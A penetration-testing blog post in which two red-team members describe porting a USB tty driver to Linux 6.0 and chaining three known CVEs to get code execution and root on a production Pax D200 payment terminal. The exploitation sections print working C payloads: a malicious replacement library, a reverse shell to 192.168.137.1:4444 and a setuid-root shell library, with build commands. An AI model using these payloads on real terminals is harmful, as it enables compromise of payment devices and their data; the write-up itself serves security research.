PrivEsc on a production-mode POS

Back to Posts

PrivEsc on a production-mode POS

Reading Time: 8 minutes

Earlier this year, we were involved in the security assessment of a mobile application that included the use and verification of a POS, a Pax D200. An Internet search aimed at identifying any known vulnerabilities about it, led us to this post called pax-pwn and written by lsd.cat where three CVEs were reported and described (CVE-2020-28044, CVE-2020-28045, CVE-2020-28046). The vulnerabilities description were quite detailed, however there were some differences between the POS used in their case and the one in our possession, as well as some details that were not thoroughly explored. In our case, ours was a production POS and not a development one (i.e., debug level 0 and thus no shell available). As a result, many of the steps described by the author, which were necessary to complete the path to privilege escalation, were not directly applicable.

This post will describe how, by adapting the previous vulnerabilities to our case, we were able to execute code on our production device and how we obtained root privileges on it. In particular, we will show how to replace the application libraries in order to execute a shell on the device via WiFi.

Compiling USB drivers

Since the compiled driver was available directly in a repository mentioned in the pax-pwn post, we decided to start using the serial connection via USB cable to communicate with the device. However, this driver had been compiled for an older version of the Linux kernel and was not valid to be used on a up-to-date one.

Old drivers not working
Figure 01 – Old drivers not working

In the same repository the driver source code was also available, so we tried to compile it. Unfortunately, since its upload in 2020, the major release 6.0 of the Linux kernel was distributed, which included many changes with respect to the previous one. For this reason, once we started compiling, we immediately received some errors in the output, starting from the Makefile.

Error in Makefile
Figure 02 – Error in Makefile

As can be seen from the previous image, the correction to the error was described directly in the output. In fact, in the line of code $(MAKE) modules -C $(KERNEL_DIR) SUBDIRS=$(shell pwd) it was enough to replace SUBDIRS with M. This worked, but many other errors appeared.

Errors in ttyPos.c
Figure 03 – Errors in ttyPos.c

From here on, we are using ttyPos.c row numbers shown in the previous image as errors reference.
Errors at rows 986 and 992 were quite simple to correct. Sometime between 2020 and 2022, the tty_operations struct definition (form Linux kernel header file tty_driver.h) changed and data types write_room and chars_in_buffer moved from int to unsigned int. So, changing the return type of the functions pos_write_room and pos_chars_in_buffer from int to unsigned int did the trick.
Errors at rows 1245, 1299 and 1310 were also due to changes to the Linux kernel tty_driver infrastructure. Digging around we came across some commits that referred these very changes:

  1. tty: stop using alloc_tty_driver
  2. tty: drop put_tty_driver

In short, interfaces alloc_tty_driver and put_tty_driver were dropped respectively in favor of tty_alloc_driver and tty_driver_kref_put. While for the latter the change was, at least for us, as simple as changing the interface name, the former required a new formal parameter. This parameter is a flag that tells the kernel how to register new devices discovered in the system. There were many flags available for it but, following a change from this thread, we set it to 0. Apparently, this was enough to solve the error but, after recompiling, a new one appeared.

Errors in ttyPos.c
Figure 04 – Error about do_exit function in ttyPos.c

The do_exit(long error_code) function is used to terminate a process properly, performing the operations necessary to clean up the resources used by the process. Now, following a Linux kernel 2021 commit, this function is no longer exported. To quickly fix this, we replaced it with a return statement and eventually we successfully compiled the driver. Now, by connecting the POS via USB, it was correctly recognized by the system as a tty device.

Device correctly recognized
Figure 05 – Device correctly recognized

To summarize, below is the list of changes, described above, that were necessary in order to correctly compile the driver on the version 6.0.x of the Linux kernel.

List of all changes
Figure 06 – List of all changes

Later on, we also tried the POS network connection (which uses WiFi) and, after verifying that the functionalities were the same for both methods, we decided to continue using the latter as we found it more convenient.
All of this was not wasted time, however, but an excellent review of the Linux kernel and the C language.

Exploiting CVE-2020-28044

By having a connection to the POS, we could try to exploit the three known vulnerabilities. As described in the pax-pwn post, however, we first had to enable the debugging service on the device and, to do so, we had to access the management interface. Here we were presented with a first slight difference from what was reported in the post: even for our D200, to enter that interface, we had to continuously press the “2” key (as for the S900 in the post) and not the “F2” key as reported.
Pax provides a command-line tool for developers called XCB (Xos Communication Bridge) which is a modified version of ADB (Android Debug Bridge) but with limited functionalities. To bypass these limitations, lsd.cat has written and made available on one of its repositories a Python script that re-implements some of the basic functionality of ADB including the ability to list, read and write files on the device. The only modification that needed to be made in order to use this script was to change the IP address hardcoded into it.

Device file system listing via client.py
Figure 07 – Device file system listing via client.py

By exploring the system with the commands made available by the client.py script, we were able to dump all the files and directories of the system we had read access, while we only had write access to a few directories, in particular to the application one (/data/app/MAINAPP/).

Exploiting CVE-2020-28045

As mentioned above, our POS was in production mode (i.e., most Unix commands, and particularly sh, were not available) and knowing that it was not possible to run unsigned executables, we had to find out how to run commands.
Luckily, the pax-pwn repository also contained a dump of the POS S900 that was in debug mode, that also included an original and thus signed version of the busybox binary.
Two questions arose at this point:

  1. How do we run it without having an interactive shell?
  2. Does the system check the signature of the extracted binary from a different device as correct and execute it?

The answer to question 1) is fairly simple: as described in CVE-2020-28045, we replace a library used by the application with our own executable containing a payload that calls busybox. As for question 2), the payload will use busybox to create a text file in a writable directory, then we will check with the ls command of the client.py script to see if such a file has indeed been created.

We started checking which libraries were loaded at application startup using objdump.

$ arm-none-eabi-objdump -x MAINAPP/<REDACTED> | grep NEEDED
[...]
NEEDED libZip.so
NEEDED libgcc_s.so.1
NEEDED libc.so.6

Then, we pushed the busybox binary inside the application directory by using the client.py script as seen earlier and we wrote the following payload in C language (file: write.c):

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int _init()
{
    unsetenv("LD_PRELOAD");

    char *args[] = {"/data/app/MAINAPP/bin/busybox", "touch", "/data/app/MAINAPP/yarix.txt", NULL};
    execve("/data/app/MAINAPP/bin/busybox", args, NULL);

    return 0;
}

As you can see from the code, the payload does nothing more than use busybox to create an empty text file within the application directory. We then cross-compiled it for the ARM architecture (command: $ arm-linux-gnueabi-gcc -shared -fPIC -nostartfiles -o write.so write.c) and began to load the write.so file by replacing it with the various libraries used by the application. For some, the application would crash without creating the file but by substituting the payload in place of the libZip.so library, this worked and the file was created. We had code execution!

File created on the POS file system
Figure 08 – File created on the POS file system

At this point we changed the payload by editing a reverse shell in C to use busybox sh command (file: revshell.c):

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
 
int _init()
{
    unsetenv("LD_PRELOAD");
    int sockfd;
    struct sockaddr_in addr;
    
    addr.sin_family = AF_INET;
    addr.sin_port = htons( 4444 );
    addr.sin_addr.s_addr = inet_addr("192.168.137.1");
    
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    
    connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
    
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2); 
    
    char *args[] = {"/data/app/MAINAPP/bin/busybox", "sh", NULL};
    execve("/data/app/MAINAPP/bin/busybox", args, NULL);

    return 0;
}

Again, we cross-compiled it for ARM and pushed it to the device using the client.py script:

Cross-compiling the exploit and pushing it into the device
Figure 09 – Cross-compiling the reverse shell exploit and pushing it into the device

We run a listener on our Kali, run the application on the POS and we finally had a shell as the user MAINAPP!

Low privileged reverse shell
Figure 10 – Low privileged reverse shell

Exploiting CVE-2020-28046

Having a shell to run commands, we could finally try to execute the privilege escalation described by CVE-2020-28046. Luckily for us, there were two applications in the device. So, we could use the first one to run the reverse shell as seen above, while the second one served as an excellent candidate for privilege escalation.
We then checked the libraries of the second application as well:

$ arm-none-eabi-objdump -x MAINAPP/ | grep NEEDED 
[...]
  NEEDED               libScanAPI.so
[...]

and we customized the C payload of lsd.cat to use busybox (file: privesc.c):

#include 
#include <sys/types.h>
#include 
#include 

int _init() {
    unsetenv("LD_PRELOAD");
    puts("LD_PRELOAD is working!");
    setreuid(0, 0);
    setuid(0);
    printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
    char *args[] = {"/data/app/MAINAPP/bin/busybox", "sh", NULL};
    execve("/data/app/MAINAPP/bin/busybox", args, NULL);
    printf("system executed.\n");
    exit(0);
}

We cross-compiled it for ARM and pushed it to the device in place of the library libScanAPI.so:

Cross-compiling the privilege escalation exploit and pushing it into the device
Figure 11 – Cross-compiling the privilege escalation exploit and pushing it into the device

and we ran the exploit via the second app, immediately getting privilege escalation to root!

Privilege ecalation to root
Figure 12 – Privilege escalation to root

Concluding remarks

In this article we wanted to expand on the excellent work done by lsd.cat in his article by adding the steps to follow in the case scenario where the POS is in production mode. This also serves as a good reminder of the importance of keeping not only computer systems up to date but also the electronic devices that communicate with them.

Authors

Mattia Merotto is a member of the Yarix’s Red Team and, between one penetration test and another, he likes to tinker with the hardware both to glean the secrets it hides and to repair it, even when the latter is derived from the former.

Andrea Varischio, of Yarix’s Red Team, graduated from UNIPD with a degree in telecommunications engineering. During his studies, he became passionate about computer security, with a focus on that of Android devices, which was also his master’s thesis topic. Drummer in his spare time, he loves music, math, martial arts and board games.

Share this post

Back to Posts